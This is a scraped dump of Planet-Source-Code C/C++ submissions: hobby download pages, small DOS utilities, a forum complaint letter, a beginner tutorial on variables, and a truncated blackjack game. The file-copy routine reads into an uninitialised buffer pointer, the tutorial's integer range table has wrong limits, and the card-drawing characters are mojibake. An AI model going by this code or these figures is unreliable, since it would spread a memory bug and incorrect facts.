;\n}\n"},{"WorldId":3,"id":4628,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":4851,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":8558,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":4388,"LineNumber":1,"line":"<HTML>\n<BODY>\n\n<img src=\"http://www.lostsidedead-software.com/psccd2/intro.jpg\"> \nMasterRPG Alpha 2 \nMasterRPG is a 2D 4 way scroller RPG game that I am working on. This is the second alpha of the game, that I have released. It is just a character walking around on a map which can scroll in 4 directions. \n ScreenShots \n<img src=\"http://www.lostsidedead-software.com/masterrpg/pic1.jpg\"> <img src=\"http://www.lostsidedead-software.com/masterrpg/pic2.jpg\"> \n Download \n<a href=\"http://www.lostsidedead-software.com/masterrpg/masterrpg2.zip\"> Download the Game's Alpha </a> \n<a href=\"http://www.lostsidedead-software.com/masterrpg/masterrpg2le.zip\"> Download the Map Editor Alpha </a> \n\n</BODY>\n</HTML>"},{"WorldId":3,"id":3834,"LineNumber":1,"line":"<HTML>\n<BODY>\n\nMasAsm IDE is written in Borland C++ Builder 6, and is to be used with the MasAsm C Preproccescor. You can get the MasAsm C Preproccescor off PSC. TO use it simply place it in the directory with masasm.exe, and you can compile your programs. \n Download \n<a href=\"http://www.lostsidedead-software.com/masasm_ide.zip\"> Download MasAsm IDE </a> \n\n</BODY>\n</HTML>"},{"WorldId":3,"id":4731,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":4862,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":4876,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":7577,"LineNumber":1,"line":"/******** Now you can write your own copy command to copy.exe or .com or any large file................. Please Vote for me.....Nitin Jindal............*/\n#include <stdio.h>\n#include <io.h>\n#include <fcntl.h>\n#include <sys\\stat.h>\nvoid fcopy(char *,char *);\nmain()\n{\nfcopy(\"fcopy.exe\",\"fcopy2.exe\");\n/* fcopy(\"a:\\\\fcopy.exe\",\"C:\\\\test.exe\");\n this will copy fcopy.exe file from floppy disk to harddisk */\nreturn 0;\n}\nvoid fcopy(char *sname,char *tname)\n{\nvoid *buffer;\nint bytes,inhandle,outhandle;\ninhandle=open(sname,O_RDONLY|O_BINARY);\nouthandle=open(tname,O_CREAT|O_BINARY|O_WRONLY|S_IWRITE);\nwhile(1)\n{\nbytes=read(inhandle,buffer,512);\nif(bytes>0)\nwrite(outhandle,buffer,bytes);\nelse\nbreak;\n}\nclose(inhandle);\nclose(outhandle);\n}\n"},{"WorldId":3,"id":4812,"LineNumber":1,"line":"/*\n Name: Robert Cleaver\n Date: 9 - 17 - 02\n Prog: RANDOM.CPP\n Desc: Generates a non-repetetive random number\n*/\n#include<iostream.h>\n#include<conio.h>\n#include<stdlib.h>\ntypedef int itype[20];\nvoid DoRandom(itype &RandomArr);\nint check(itype &RandomArr, int ArrayIndex);\nint main()\n{\n\tclrscr();\n\trandomize();\n\titype RandomArr;\n\tDoRandom(RandomArr);\n\tgetch();\n\treturn(0);\n}\nvoid DoRandom(itype &RandomArr)\n{\n\tint FillLoop;\n\tFillLoop = 0;\n\tRandomArr[1] = (rand() % 20) + 1;\n\tfor (FillLoop = 2; FillLoop <= 20; FillLoop++)\n\t{\n\t\tRandomArr[FillLoop] = (rand() % 20) + 1;\n\t\twhile (check(RandomArr,FillLoop) != 1)\n\t\t{\n\t\t\tRandomArr[FillLoop] = (rand() % 20) + 1;\n\t\t}\n\t\tcout<<FillLoop<<\": \"<<RandomArr[FillLoop]<<endl;\n\t}\n}\nint check(itype &RandomArr, int ArrayIndex)\n{\n\tint CheckLoop, nomatch;\n\tnomatch = 0;\n\tCheckLoop = 0;\n\tfor (CheckLoop = 1; CheckLoop < ArrayIndex; CheckLoop++)\n\t{\n\t\tif (RandomArr[CheckLoop] == RandomArr[ArrayIndex])\n\t\t{\n\t\t\tnomatch = 1;\n\t\t\treturn(0);\n\t\t}\n\t\telse if (CheckLoop == (ArrayIndex - 1) && nomatch == 0)\n\t\t{\n\t\t\treturn(1);\n\t\t}\n\t}\n}"},{"WorldId":3,"id":4821,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":7587,"LineNumber":1,"line":"/** Play music directly to PC's Internal Speaker PLEASE VOTE FOR ME ! Nitin Jindal */\n#include <stdio.h>\n#include <stdlib.h>\n#include <dos.h>\n#include <conio.h>\nmain()\n{\nfloat octave[7]={130.81,146.83,164.81,174.61,196.220,246.94};\nint adn;\nwhile(!kbhit())\n{\nadn=random(7);\nsound(octave[adn]*10);\ndelay(190);\nnosound();\n}}"},{"WorldId":3,"id":4834,"LineNumber":1,"line":"Dear Planet-Source-Code users:\n \tHello there! I am writing this letter to inform you of somethings and warn you about my concerns. I have asked Ian not to delete this post or allow it to be deleted. I know a lot of you already follow what I am going to tell you. I thank you for that. For the others, I believe it is time for you to shape up.\n \tAs I am tired of many repeat, silly, common-sense, and just plain s tupid posts here on Planet Source Code, I believe you are to. Some people try to post quality work on this wonderful site, but others simply destroy the beauty of it by posting pure garbage. Most of the garbage is \"decorated\" by using \"best code ever\". Clearly this is a lie. Usally in Visual Basic its just an End statement, a Kill statement, a message box, or just something that has no code. Also, some of the garbage on Planet Source Code is just people asking questions. There is a place for that, ether in the fourms or in the code itself. Why don't those people ask elsewhere? In addition, I have seen people uploading zip files that don't have code. I have seen this in game engines, they just provide a link to the source on their own site. Don't waste space with that. Also, I have seen a lot of incomplete submissions. I cannot tell you how many submissions I have downloaded that are incomplete. I just downloaded one today that did not have the control. I figured he tried to upload the OCX, but he forgot to read \"Planet Source Code does not accept: ... Compiled .Exe's, .Dll's, .Ocx's (these are automatically deleted from submissions to prevent viruses. If you MUST upload one of these, email webmaster@planet-source-code.com with an explanation why.)\". Ha! \nSome people for get to give all the files. I have seen submissions without the solutions, project files, the ResX files, the control files, and the form files. And sometimes the project path is declared absolutly, not reltivily. So sometimes in order for a project to work, I have to load every stinking file. This is only the begining.\n \tNow that is not even all the serious of my letter. I have seen people being stalked by people who are just plain mean by voting low on all their work. I have seen people hate people's project names. This is serious folks.\n \tI hope you all read this letter and take heart to it. It is important that we do our best and keep Planet Source Code clean!\n \nThe New iSoftware Company"},{"WorldId":3,"id":7588,"LineNumber":1,"line":"/* Now you can reboot pc from ur program\n PLEASE VOTE FOR ME !!! Nitin Jinfal */\n#include <stdio.h>\n#include <dos.h>\n#include <conio.h>\nmain()\n{\nunion REGS i,o;\nprintf(\"\\nPress any key to REBOOT !!!!\");\ngetch();\nint86(0x19,&i,&o);\nreturn 0;\n}"},{"WorldId":3,"id":4845,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":4898,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":4911,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":4972,"LineNumber":1,"line":"Upload"},{"WorldId":3,"id":4987,"LineNumber":1,"line":"\n \nWell, Hello World, Again! It's been quite a while since my previous Tutorial; time for a new \none! \nThis tutorial will assume you've read \"<a href = \n\"http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=2040&lngWId=3\"> A C++ \nTutorial for Complete Beginners #1</a>\" as this is #2. This tutorial will also assume you \nunderstand the concepts presented in the previous tutorial and can make use out of it. \n:) \n *Note: I've since changed to using MS Visual C++ 6.0 \nNotes: \n- Blue denotes a <a href = \"#\">keyword</a> \n- Term Dictionary still not in use. ( Links don't work. ) \nI'm going to cover variables in this article. So, get ready! :) \nVariables: \n<a href = \"#\">Variable</a>s are aliases for memory locations. That is, they hold some kind \nof data that you put inside of it. You declare a variable by choosing a <a href = \"#\">data \ntype</a>, and choose a name or keyword to assign to the variable. There are, however, \nreserved KEYWORDS that you cannot use, as they are critical to C++ Programming. \nA list of Data Types: \n<ul>\n\n<li> char - 1 byte - This represents ONE character. e.g. b</li>\n<li> int - 2 or 4 bytes - This for a number. e.g. 500 or -500</li>\n<li> short - 2 bytes - This is also a number, but is smaller than int.</li>\n<li> long - 4 or 8 bytes - This is the largest number type.</li>\n<li> bool - 1 byte - This is a boolean value. ( true or false )</li>\n\n</ul>\nData types can change from system to system, but these are the 'normal' sizes for these \ntypes. There can be both signed, and unsigned numbers. Signed \nmeaning the number can be negative, and unsigned meaning the \nlowest value the variable can have is 0. \nSize┬á┬á┬áSign┬á┬á┬áMinimum┬áValue┬á┬á┬áMaximum \nValue \n┬á1┬á┬á┬á┬á┬ásigned┬á┬á-128┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á127 \n┬á1┬á┬á┬áunsigned┬á┬á0┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á255 (normal char) \n┬á2┬á┬á┬á┬á┬ásigned┬á┬á-32768┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á32768 (normal short/int) \n┬á2┬á┬á┬áunsigned┬á┬á0┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á65535 \n┬á4┬á┬á┬á┬á┬ásigned┬á┬á-2147483548┬á┬á┬á┬á┬á2147483647 (normal long) \n┬á4┬á┬á┬áunsigned┬á┬á0┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á┬á4294967295 \n \nTypes default to signed unless you specify that it is unsigned, \nlike so: \nunsigned int \nC++ is a very CASE-SENSITIVE language. What this means is that if you have 3 variables: \nTestVariable \ntestVariable \ntestvariable \nThese variables are different. It's important to develop a consistent style of naming \nvariables. I normally keep variables lowercase, with an uppercase specifying a new word, \nlike so: \ntestVariable \nNow that you know what data types and variables are you can <a href = \"#\">declare</a> them. \nYou declare them like so: \nint myNumber; *Note: You must have the \nsemi-colon at the end! \nYou can also <a href = \"#\">define</a> them in their declaration: \nint myNumber = 2002; \nChar's are done close to the same way, except when you define them \nyou must put the letter in single quotations ( ┬á'┬á ). Character <a \nhref = \"#\">string</a>s, however, must be done a different way since the char type can only hold ONE character at a time. ( Yes, that mean it can \nonly hold one A or one B at a time! ). Strings will be discussed in a later tutorial. \n \nA bool(ean) can only be true or false, or their counterparts: 0 and 1. Booleans are normally used in \nif statements and other C++ goodies. \nOkay, wipe that sweat from your brow! This was a difficult and large chunk of information to \nswallow. Let's end this up with a small program that utilizes what was presented \nhere. \nOpen up whatever program you used in the last tutorial and follow the steps on compiling I \nshowed you before. Again, remove the numbers from the source code as they are only there to \nhelp analyze the code! Save as tutorial.cpp \n<HR>\n1. #include <iostream.h> \n2. \n3. int main( ) \n4. { \n5. \tint myNumber; \n6. \tlong myNumber2 = 5; \n7.\tchar myCharacter; \n8.\tchar myCharacter2 = 'c'; \n9.\tbool myBoolean; \n10.\tbool myBoolean2 = true; \n11. \n12. \n13.\tmyNumber = 3678; \n14.\tmyCharacter = 'a'; \n15.\tmyBoolean = false; \n16. \n17.\tcout << \"myNumber = \" << myNumber << endl; \n18.\tcout << \"myNumber2 = \" << myNumber2 << endl << endl; \n19. \n20.\tcout << \"myCharater = \" << myCharacter << endl; \n21.\tcout << \"myCharacter2 = \" << myCharacter2 << endl << endl; \n22. \n23.\treturn 0; \n24. } \n<hr>\nOkay, now, the line-by-line analysis! \nLine 1: This includes the iostream.h header. This, ofcourse, is needed for cout and \nendl. \nLine 2: This is just whitespace. \nLine 3: This is the main function mentioned in the last tutorial. You will always see one of \nthese in any C++ program. \nLine 4: This is just the opening brace for the main function. \nLine 5 & 6: These two lines declare one int and one long variable. myNumber2 is also defined on this line with the \nvalue 5. \nLine 7 & 8: These two lines both declare a char variable. \nmyCharacter2 also defines itself with the value c. \nLine 9 & 10: These two lines both declare a bool variable. \nmyBoolean2 also defines itself to true \nLine 11 & 12: Both of these lines are cosmetics: a.k.a. whitespace. \nLine 13 - 15: These lines define these variables to a specific value. \nLine 16: Whitespace again! \nLine 17 & 18: These lines display the variables' values to the screen, sending an 'endl' to \ngo to the next line. \nLine 19: Guess what this is! Yup, you guessed it, whitespace! \nLine 20 & 21: These lines also display the variables' values to the screen, sending an \n'endl' to the next line. \nLine 22: ...whitespace... \nLine 23: This is the return statement. This will be explained in the next tutorial, along \nwith the mystical \"function\". \nLine 24: This is simply the closing brace. This ends the function, and effectively ends our \nprogram. ( When main is done, our program is done! ) \nFor ease of explanation, whitespace will not be mentioned in future tutorials. I think we \nall know what it is. :) \nThis program simply declares and defines a few simple variables. It then takes those \nvariables with printable values and prints them to the screen with cout. Again, this \nprogram will most likely close immediately upon execution. Just open up some kind of \ncommand-line and run it from there. \nThis concludes \"A C++ Tutorial for Complete Beginners #2\". As always, if anything is too \ncomplicated to understand or if I screwd up, be sure to let me know. Please let me know if \nyou would like something explained a little more indepth, or whatever else. ( Please have it \npertain to the topics discussed in this tutorial. ) I'll try to get the fixes when I \ncan! \n- Jared\n"},{"WorldId":3,"id":5005,"LineNumber":1,"line":"//***********************************\n//*\t SAROJINI'S VIRTUAL BLACKJACK\t*\n//*---------------------------------*\n//*\tAuthor : Wong Yat Seng\t\t*\n//*\tLanguage : C++\t\t\t\t\t*\n//*\tFile : SaroBJ.cpp\t\t\t*\n//*\tDate : 20/10/2002\t\t\t*\n//***********************************\n#include <iostream.h>\n#include <stdlib.h>\n#include <iomanip.h>\n#include <ctype.h>\n#include <math.h>\n#include <time.h>\nint push=0;\t\t\t\t//for val 15 pushes\nint u_limit=13;\t\t\t//upper risk limit\nint deck=1;\t\t\t\t//number of decks used\nint c_card[5]={0,0,0,0,0};\t\t\t\t//card slots (computer)\nint p_card[5]={0,0,0,0,0};\t\t\t\t// (player1)\nint c_open[5]={0,0,0,0,0};\t\t\t\t//card flip (computer)\nint p_open[5]={1,1,0,0,0};\t\t\t\t// (player1)\nint dealt[11]={0,0,0,0,0,0,0,0,0,0,0};\t//dealt (buffer)\nint games_won=0;\t\t//global stats for 1P Game\nint games_lost=0;\t\t//\nint games_played=0;\t\t//\n//functions\nchar convert_num(int);\nvoid one_play();\t\t//Main Game Menu\nint deal_card1();\t\t//Deal cards for P1 and COMP\nvoid main()\n{\n\tchar choice='z';\t\t\t//init loop val\n\twhile (choice!='Q')\t\t\t//repeat menu until quit\n\t{\n\t\tchoice='z';\t\t\t\t//reset choice for next input\n\t\tsystem(\"cls\");\t\t\t//clear screen\n\t\t\n\t\tcout<<\"\\n\\n\\n\\n\"\n\t\t\t<<\"\\t\\t\\t**************************************\\n\"\n\t\t\t<<\"\\t\\t\\t| |\\n\"\n\t\t\t<<\"\\t\\t\\t| Welcome to Sarojini's Blackjack! |\\n\"\n\t\t\t<<\"\\t\\t\\t| |\\n\"\n\t\t\t<<\"\\t\\t\\t**************************************\\n\\n\"\n\t\t\t<<\"\\t\\t\\t (J)oin Blackjack Table\\n\"\n\t\t\t<<\"\\t\\t\\t (D)eck Setting - \"<<deck<<\"\\n\"\n\t\t\t<<\"\\t\\t\\t (Q)uit Game\\n\\t\\t\\t \";\n\t\twhile (choice!='J'&&choice!='D'&&choice!='Q')\n\t\t{\t\t\t\t\t\t\t\t//trap bad choice\n\t\t\tcin >>choice;\n\t\t\tchoice=toupper(choice);\t\t//capitalized choice\n\t\t\t\n\t\t\tswitch(choice)\n\t\t\t{\n\t\t\tcase 'J':\n\t\t\t\tone_play();\t\t\t\t//call 1P func\n\t\t\t\tbreak;\t\t\t\n\t\t\tcase 'D':\t\t\t\t\t//Change deck settings\n\t\t\t\tcout<<\"\\n\\t\\t\\tCurrent Deck(s) : \"<<deck<<\" (\"<<(deck*52)<<\" cards)\"<<endl;\n\t\t\t\tdeck=0;\n\t\t\t\twhile (deck<1)\n\t\t\t\t{\n\t\t\t\t\tcout<<\"\\t\\t\\tNew # of Deck(s) : \";\n\t\t\t\t\tcin >>deck;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\nvoid one_play()\t\t\t\t\t\t\t//Table MENU\n{\n\tchar choice1='z';\t\t\t\t\t//init loop val\n\tint result=0;\t\t\t\t\t\t//init result indic\n\tsrand(time(NULL));\t\t\t\t\t//seed a rnd num\n\twhile (choice1!='L')\t//while not Leave...\n\t{\n\t\tsystem(\"cls\");\t\t//cls\n\t\tchoice1='z';\t\t//reset choice\n\t\tcout<<\"Played : \"<<games_played<<\"\\n\"\n\t\t\t<<\"Won : \"<<games_won<<\"\\n\"\n\t\t\t<<\"Lost : \"<<games_lost<<\"\\n\"\n\t\t\t<<\"__________________________\"\n\t\t\t<<\"___________________________\"\n\t\t\t<<\"___________________________\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\"\n\t\t\t<<\" (D)eal Next Hand\\n\"\n\t\t\t<<\" (L)eave Table\\n \";\n\t\t\n\t\twhile(choice1!='D'&&choice1!='L')\n\t\t{\n\t\t\tcin >>choice1;\n\t\t\tchoice1=toupper(choice1);\n\t\t}\n\t\tif (choice1=='D')\t\t\t//Choice Deal Cards\n\t\t{\n\t\t\tresult=deal_card1();\t//return 1=WIN 0=LOSE\n\t\t\tif (result==1) games_won++;\n\t\t\telse if (result==0) games_lost++;\n\t\t\tgames_played++;\n\t\t}\n\t}\n}\nint deal_card1()\n{\nredeal:\n//-------------------CARD SEEDING--------------------------\t\n\tfor (int k=1;k<=5;k++)\n\t{\n\t\tc_card[k]=0;\t\t\t\t\t//reset cards\n\t\tp_card[k]=0;\t\t\t\t\t//\n\t\t\n\t\tc_open[k]=0;\t\t\t\t\t//\n\t\tp_open[k]=0;\t\t\t\t\t//\n\t\n\t\tdealt[k]=0;\t\t\t\t\t\t//\n\t\tdealt[(k+5)]=0;\t\t\t\t\t//\n\t}\n\tfor (k=1;k<=5;k++)\t\t\t\t\t\t//COMP's cards\n\t{\n\t\tc_card[k]=(1+ rand() % (deck*52));\t//seed card\n\t\tfor (int l=1;l<=10;l++)\n\t\t{\n\t\t\tif (c_card[k]==dealt[l])\t\t//check for duplicate\n\t\t\t{\n\t\t\t\tk--;\t\t\t\t\t\t//if dupe, redeal\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif (l==10)\n\t\t\t{\n\t\t\t\tdealt[k]=c_card[k];\t\t\t//if no dupe, store\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n\tfor (k=1;k<=5;k++)\t\t\t\t\t\t//PLAYER's cards\n\t{\n\t\tp_card[k]=(1+ rand() % (deck*52));\t//seed card\n\t\tfor (int x=1;x<=10;x++)\n\t\t{\n\t\t\tif (p_card[k]==dealt[x])\t\t//check for duplicate\n\t\t\t{\n\t\t\t\tk--;\t\t\t\t\t\t//if dupe, redeal\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif (x==10)\n\t\t\t{\n\t\t\t\tdealt[k+5]=p_card[k];\t\t\t//if no dupe, store\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n//-------------------END CARD SEEDING----------------------\nshowcard:\n\tint sum=0;\t\t\t\t//for score addition\n\tint sum1=0;\t\t\t\t//comp's score addition\n\tint BJ=0;\t\t\t\t//blackjack results Indicator\n\tchar card_choice='z';\t//loop for choice\n\t\n\tint end_game=0;\t\t\t//game end indic\n\tp_open[1]=1;\t\t\t//reveal init 2 player's cards\n\tp_open[2]=1;\t\t\t//\n\twhile (end_game!=1)\t\t//Infinite Loop until game ends\n\t{\n\t\tsystem(\"cls\");\t\t//cls\n\t\tcout<<\"Played : \"<<games_played<<\"\\n\"\n\t\t\t<<\"Won : \"<<games_won<<\"\\n\"\n\t\t\t<<\"Lost : \"<<games_lost<<\"\\n\"\n\t\t\t<<\"__________________________\"\n\t\t\t<<\"___________________________\"\n\t\t\t<<\"___________________________\\n\\n\"\n\t\t\t<<\"Sarojini \";\t\t\t\t\t\t//Card Tile\n\t\tif (end_game==2)\n\t\t{\n\t\t\tint caption;\n\t\t\tcaption=(1+rand()%8);\n\t\t\tswitch (BJ)\n\t\t\t{\n\t\t\tcase 1:\n\t\t\t\tcout<<\"(\"<<sum1<<\") : \";\n\t\t\t\tif (caption==1) cout<<\"I'm the BEST lecturer!\";\n\t\t\t\tif (caption==2) cout<<\"MUAHAHAHAHHA!\";\n\t\t\t\tif (caption==3) cout<<\"None can Stop ME!\";\n\t\t\t\tif (caption==4) cout<<\"I told you so!\";\n\t\t\t\tif (caption==5) cout<<\"You cant deny me!\";\n\t\t\t\tif (caption==6) cout<<\"All shall be MINE!\";\n\t\t\t\tif (caption==7) cout<<\"You are good, but I am better!\";\n\t\t\t\tif (caption==8) cout<<\"This is not your day ...\";\n\t\t\t\tbreak;\n\t\t\tcase 2:\n\t\t\t\tcout<<\"(\"<<sum1<<\") : \";\n\t\t\t\tif (caption==1) cout<<\"You learn fast\";\n\t\t\t\tif (caption==2) cout<<\"You suprise me everday\";\n\t\t\t\tif (caption==3) cout<<\"You deserve 100% for assignment\";\n\t\t\t\tif (caption==4) cout<<\"Oh dear!\";\n\t\t\t\tif (caption==5) cout<<\"You're just lucky ...\";\n\t\t\t\tif (caption==6) cout<<\"You're not suppose to win me! \";\n\t\t\t\tif (caption==7) cout<<\"Not FAIR!\";\n\t\t\t\tif (caption==8) cout<<\"Hmmph!\";\n\t\t\t\tbreak;\n\t\t\tcase 3:\n\t\t\t\tcout<<\"(\"<<sum1<<\") : \";\n\t\t\t\tif (caption==1) cout<<\"My, my ... aren't we greedy?\";\n\t\t\t\tif (caption==2) cout<<\"Be patient!\";\n\t\t\t\tif (caption==3) cout<<\"You've got run-time errors\";\n\t\t\t\tif (caption==4) cout<<\"I didn't teach you that!\";\n\t\t\t\tif (caption==5) cout<<\"Please pay attention!\";\n\t\t\t\tif (caption==6) cout<<\"You didn't listen to my lectures?\";\n\t\t\t\tif (caption==7) cout<<\"You din't do homework, did you?\";\n\t\t\t\tif (caption==8) cout<<\"Don't commit plagiarism!\";\n\t\t\t\tbreak;\n\t\t\tcase 4:\n\t\t\t\tcout<<\"(\"<<sum1<<\") : \";\n\t\t\t\tif (caption==1) cout<<\"I was careless\";\n\t\t\t\tif (caption==2) cout<<\"Opps!\";\n\t\t\t\tif (caption==3) cout<<\"Oh #@%*!\";\n\t\t\t\tif (caption==4) cout<<\"Almost had you!\";\n\t\t\t\tif (caption==5) cout<<\"Argh! I'll get you next round\";\n\t\t\t\tif (caption==6) cout<<\"Crap... more homework for everyone!\";\n\t\t\t\tif (caption==7) cout<<\"That was close\";\n\t\t\t\tif (caption==8) cout<<\"I was hoping to get 21\";\n\t\t\t\tbreak;\n\t\t\tcase 5:\n\t\t\t\tcout<<\"(\"<<sum1<<\") : \";\n\t\t\t\tif (caption==1) cout<<\"You can never beat me!\";\n\t\t\t\tif (caption==2) cout<<\"Learn from me ...\";\n\t\t\t\tif (caption==3) cout<<\"You think that was enough?\";\n\t\t\t\tif (caption==4) cout<<\"I'll always be the winner\";\n\t\t\t\tif (caption==5) cout<<\"Ha! Nice try!\";\n\t\t\t\tif (caption==6) cout<<\"You cant win me without cheating\";\n\t\t\t\tif (caption==7) cout<<\"You disappoint me\";\n\t\t\t\tif (caption==8) cout<<\"Nyah! Nyah!\";\n\t\t\t\tbreak;\n\t\t\tcase 6:\n\t\t\t\tcout<<\"(\"<<sum1<<\") : \";\n\t\t\t\tif (caption==1) cout<<\"Impressive!\";\n\t\t\t\tif (caption==2) cout<<\"I cannot believe...\";\n\t\t\t\tif (caption==3) cout<<\"oOOOo... 5 streak\";\n\t\t\t\tif (caption==4) cout<<\"5 cards... good\";\n\t\t\t\tif (caption==5) cout<<\"You took too much risk\";\n\t\t\t\tif (caption==6) cout<<\"That was risky!\";\n\t\t\t\tif (caption==7) cout<<\"Not bad at all!\";\n\t\t\t\tif (caption==8) cout<<\"Excellent! That was good!\";\n\t\t\t\tbreak;\n\t\t\tcase 7:\n\t\t\t\tcout<<\"(\"<<sum1<<\") : \";\n\t\t\t\tif (caption==1) cout<<\"What a waste ...\";\n\t\t\t\tif (caption==2) cout<<\"Bummer!\";\n\t\t\t\tif (caption==3) cout<<\"A draw, I can live with that\";\n\t\t\t\tif (caption==4) cout<<\"Let's try again\";\n\t\t\t\tif (caption==5) cout<<\"That was a close one!\";\n\t\t\t\tif (caption==6) cout<<\"Haw! What a coincidence\";\n\t\t\t\tif (caption==7) cout<<\"Just great!\";\n\t\t\t\tif (caption==8) cout<<\"Your skills are on par with mine\";\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t\t//-------------\n\t\tcout<<\"\\n\\t├ë├ì├ì├ì├ì├ì┬╗\"<<\"\\t├ë├ì├ì├ì├ì├ì┬╗\";\t\t\t\t//1st Line\n\t\tfor (int g=3;g<=5;g++)\n\t\t{\n\t\t\tif (c_open[g]==1) cout<<\"\\t├ë├ì├ì├ì├ì├ì┬╗\";\n\t\t}\n\t\tcout<<endl;\n\t\t//-------------\n\t\tfor (g=1;g<=5;g++)\t\t\t\t\t\t\t//2nd Line\n\t\t{\n\t\t\tif (c_open[g]==1)\n\t\t\t{\n\t\t\t\tcout<<\"\\t┬║\";\n\t\t\t\tif(convert_num(c_card[g])=='0') \n\t\t\t\t{\n\t\t\t\t\tcout<<setw(5)<<setiosflags(ios::left)<<\"10\";\n\t\t\t\t}\n\t\t\t\telse \n\t\t\t\t{\n\t\t\t\t\tcout<<setw(5)<<setiosflags(ios::left)<<convert_num(c_card[g]);\n\t\t\t\t}\n\t\t\t\tcout<<\"┬║\";\n\t\t\t}\n\t\t\telse \n\t\t\t{\n\t\t\t\tif (g==1||g==2) cout<<\"\\t┬║ ┬║\";\n\t\t\t}\n\t\t}\n\t\t//--------------\n\t\tfor (g=1;g<=3;g++)\n\t\t{\n\t\t\tcout<<\"\\n\\t┬║ ┬║\\t┬║ ┬║\";\t\t\t//Other Lines\n\t\t\tif (c_open[3]==1) cout<<\"\\t┬║ ┬║\";\t//\n\t\t\tif (c_open[4]==1) cout<<\"\\t┬║ ┬║\";\t//\n\t\t\tif (c_open[5]==1) cout<<\"\\t┬║ ┬║\";\t//\n\t\t}\n\t\tcout<<\"\\n\\t├ê├ì├ì├ì├ì├ì┬╝\\t├ê├ì├ì├ì├ì├ì┬╝\";\n\t\tif (c_open[3]==1) cout<<\"\\t├ê├ì├ì├ì├ì├ì┬╝\";\t//6th Line\n\t\tif (c_open[4]==1) cout<<\"\\t├ê├ì├ì├ì├ì├ì┬╝\";\t//\n\t\tif (c_open[5]==1) cout<<\"\\t├ê├ì├ì├ì├ì├ì┬╝\";\t//\n\t\tcout<<\"\\n\\nYour Hand \";\t\t\t\t\t//PLAYER's HAND\n\t\tif (end_game==2)\n\t\t{\n\t\t\tswitch (BJ)\n\t\t\t{\n\t\t\tcase 1:\n\t\t\t\tcout<<\"(\"<<sum<<\") : You lost.\";break;\n\t\t\tcase 2:\n\t\t\t\tcout<<\"(\"<<sum<<\") : BlackJack! You Won!\";break;\n\t\t\tcase 3:\n\t\t\t\tcout<<\"(\"<<sum<<\") : You Lost.\";break;\n\t\t\tcase 4:\n\t\t\t\tcout<<\"(\"<<sum<<\") : You Won!\";break;\n\t\t\tcase 5:\n\t\t\t\tcout<<\"(\"<<sum<<\") : You Lost.\";break;\n\t\t\tcase 6:\n\t\t\t\tcout<<\"(\"<<sum<<\") : You Won!.\";break;\n\t\t\tcase 7:\n\t\t\t\tcout<<\"(\"<<sum<<\") : Draw Game.\";break;\n\t\t\t}\n\t\t}\n\t\t//-------------\n\t\tcout<<\"\\n\\t├ë├ì├ì├ì├ì├ì┬╗\"<<\"\\t├ë├ì├ì├ì├ì├ì┬╗\";\t\t\t\t//1st Line\n\t\tfor (g=3;g<=5;g++)\n\t\t{\n\t\t\tif (p_open[g]==1) cout<<\"\\t├ë├ì├ì├ì├ì├ì┬╗\";\n\t\t}\n\t\tcout<<endl;\n\t\t//-------------\n\t\tfor (g=1;g<=5;g++)\t\t\t\t\t\t\t//2nd Line\n\t\t{\n\t\t\tif (p_open[g]==1)\n\t\t\t{\n\t\t\t\tcout<<\"\\t┬║\";\n\t\t\t\tif(convert_num(p_card[g])=='0') \n\t\t\t\t{\n\t\t\t\t\tcout<<setw(5)<<setiosflags(ios::left)<<\"10\";\n\t\t\t\t}\n\t\t\t\telse \n\t\t\t\t{\n\t\t\t\t\tcout<<setw(5)<<setiosflags(ios::left)<<convert_num(p_card[g]);\n\t\t\t\t}\n\t\t\t\tcout<<\"┬║\";\n\t\t\t}\n\t\t}\n\t\t//--------------\n\t\tfor (g=1;g<=3;g++)\n\t\t{\n\t\t\tcout<<\"\\n\\t┬║ ┬║\\t┬║ ┬║\";\t\t\t//Other Lines\n\t\t\tif (p_open[3]==1) cout<<\"\\t┬║ ┬║\";\t//\n\t\t\tif (p_open[4]==1) cout<<\"\\t┬║ ┬║\";\t//\n\t\t\tif (p_open[5]==1) cout<<\"\\t┬║ ┬║\";\t//\n\t\t}\n\t\tcout<<\"\\n\\t├ê├ì├ì├ì├ì├ì┬╝\\t├ê├ì├ì├ì├ì├ì┬╝\";\n\t\tif (p_open[3]==1) cout<<\"\\t├ê├ì├ì├ì├ì├ì┬╝\";\t//6th Line\n\t\tif (p_open[4]==1) cout<<\"\\t├ê├ì├ì├ì├ì├ì┬╝\";\t//\n\t\tif (p_open[5]==1) cout<<\"\\t├ê├ì├ì├ì├ì├ì┬╝\";\t//\n\t\t//---------------PLAYER'S CHOICE-------------\n\t\tif (end_game==2)\n\t\t{\n\t\t\tcout<<\"\\n (D)eal Next Set\\n \";\n\t\t\tcard_choice='z';\n\t\t\twhile (card_choice!='D')\n\t\t\t{\n\t\t\t\tcin >>card_choice;\n\t\t\t\tcard_choice=toupper(card_choice);\t\n\t\t\t}\n\t\t\tend_game=1;\n\t\t\tif (BJ==1||BJ==3||BJ==5) return 0;\n\t\t\telse if (BJ==2||BJ==4||BJ==6) return 1;\n\t\t\telse if (BJ==7) return 2;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tcout<<\"\\n (D)raw 